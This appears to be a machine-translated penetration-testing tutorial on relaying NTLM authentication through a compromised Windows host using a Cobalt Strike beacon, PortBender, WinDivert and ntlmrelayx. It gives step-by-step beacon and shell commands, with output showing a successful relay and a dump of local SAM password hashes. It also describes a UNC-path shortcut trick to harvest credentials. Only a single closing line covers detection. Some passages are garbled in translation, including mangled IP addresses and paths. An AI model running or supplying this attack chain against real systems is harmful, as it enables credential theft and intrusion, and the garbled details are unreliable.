NTLM relay is a popular attack strategy during penetration testing, and it is very simple to implement. Just roll up at the customer site, plug your laptop into the LAN, start the responder and ntlmrelayx, and then you can leave.
Most opportunistic relaying occurs when a user or machine attempts to access non-existent SMB resources. Therefore, it will send a broadcast request, and tools such as responders will send a poison response for it. There are policies that force requests to be specific to the address you are listening to. For example – create a Windows shortcut with the icon set to a UNC path (e.g. \ \ attacker IP \ PWN. Icon), place it in a network share and wait for users to browse the share. Some services are vulnerable to relay attacks in their default configuration, such as Active Directory certificate services.
It is certain that NTLM relay will not disappear soon. However, for some reasons, relaying through the C2 framework is not so simple. Suppose you have broken the Windows endpoint:
- Port 445 has been bound by the operating system, so you can't simply sniff incoming traffic.
- Popular Python tools do not run locally on Windows.
The second point is easy to solve. We can run them on the local Linux VM or WSL and tunnel traffic to it. Redirecting incoming traffic on port 445 is a slightly tricky part, but tools such as WinDivert can be used. This is a driver (yes, a driver) that can intercept and redirect incoming network packets before accessing the underlying services.
Several projects use WinDivert to implement this type of traffic redirection in post ex tools, including diverstcpconn, StreamDivert and PortBender. Diverstcpconn and StreamDivert are compiled into EXE, and PortBender is compiled into reflection DLL. Both are generic enough implementations to run through almost any C2 framework, although PortBender has the added benefit of including Aggressor scripts.
These tools allow us to direct traffic from port 445 to another arbitrary local port. On this port, we can start a reverse port forwarding, which will redirect the traffic to the location where the relay tool is running again.
Cobalt Strike does have an rportfwd command, which will bind the port on the infected machine, return the traffic tunnel to the team server, and forward it to the specified IP and port. The inconvenience is that it requires your relay tool to run on the team server itself or on another machine that can be routed from the team server.
This rportfwd_local lies in that instead of just tunnel traffic as the team's server, it will be forwarded to the client command running the operator who starts it. This means that you can run the relay tool in the VM or in the WSL of your own machine.
Finally, for the relay tool that sends traffic back to the target network, we can use the socks command.
The will be as follows:

Attacks are usually set in reverse order. You want everything to work before redirecting traffic so you don't miss anything.
- Start SOCKS agent.
beacon> socks 1080 [+] started SOCKS4a server on: 1080
2. Run ntlmrelayx in the agent chain. In this example, 10.10 17.68 is the target machine.
root@Ghost-Canyon:~# proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://10.10.17.68 -smb2support [*] Protocol Client RPC loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client SMB loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Setting up HTTP Server [*] Setting up WCF Server [*] Servers started, waiting for connections
3. Start reverse port forwarding on the same machine that will run PortBender. 172.20. 77.73 is the IP address of my WSL Ubuntu image.
beacon> rportfwd_local 8445 172.20.77.73 445 [+] started reverse port forward on 8445 to rasta -> 172.20.77.73:445
4. Upload windivert64 Sys (or WinDiver32.sys, depending on the target architecture), and then run PortBender.
Loading the driver requires local administrator access, so this Beacon runs as SYSTEM.
beacon> getuid [*] You are NT AUTHORITY\SYSTEM (admin) beacon> pwd [*] Current directory is C:\Windows\system32\drivers beacon> upload C:\Tools\PortBender\WinDivert64.sys beacon> PortBender redirect 445 8445 [+] Launching PortBender module using reflective DLL injection Initializing PortBender in redirector mode Configuring redirection of connections targeting 445/TCP to 8445/TCP
When port 445 receives a connection, PortBender will report it on the Beacon console. When this happens, please check ntlmrelayx!
New connection from 10.10.17.132:49937 to 10.10.17.25:445 Disconnect from 10.10.17.132:49937 to 10.10.17.25:445
As expected, traffic is always transmitted through the tunnel to the WSL instance that ntlmrelayx is listening on; And it has relayed traffic to the target machine on the internal network. By default, it dumps the local SAM database.
[*] Servers started, waiting for connections [*] SMBD-Thread-4: Connection from DEV/NLAMB@172.20.64.1 controlled, attacking target smb://10.10.17.68 |S-chain|-<>-10.10.5.120:1080-<><>-10.10.17.68:445-<><>-OK [*] Authenticating against smb://10.10.17.68 as DEV/NLAMB SUCCEED [*] SMBD-Thread-4: Connection from DEV/NLAMB@172.20.64.1 controlled, but there are no more targets left! [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x20c5ee68f38fa77abdb7912a6dcc042a [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:b423cdd3ad21718de4490d9344afef72::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Done dumping SAM hashes for host: 10.10.17.68 [*] Stopping service RemoteRegistry
To stop PortBender, use the jobs command to list the running jobs. This will give you the job ID (JID) and the associated PID. Use jobkill < Jid > to stop the job, and then use kill < PID > to close the generated process.
In addition to the usual MS guidance on NTLM relay mitigation, you may also want to find the WinDivert driver load event (Sysmon event ID 6).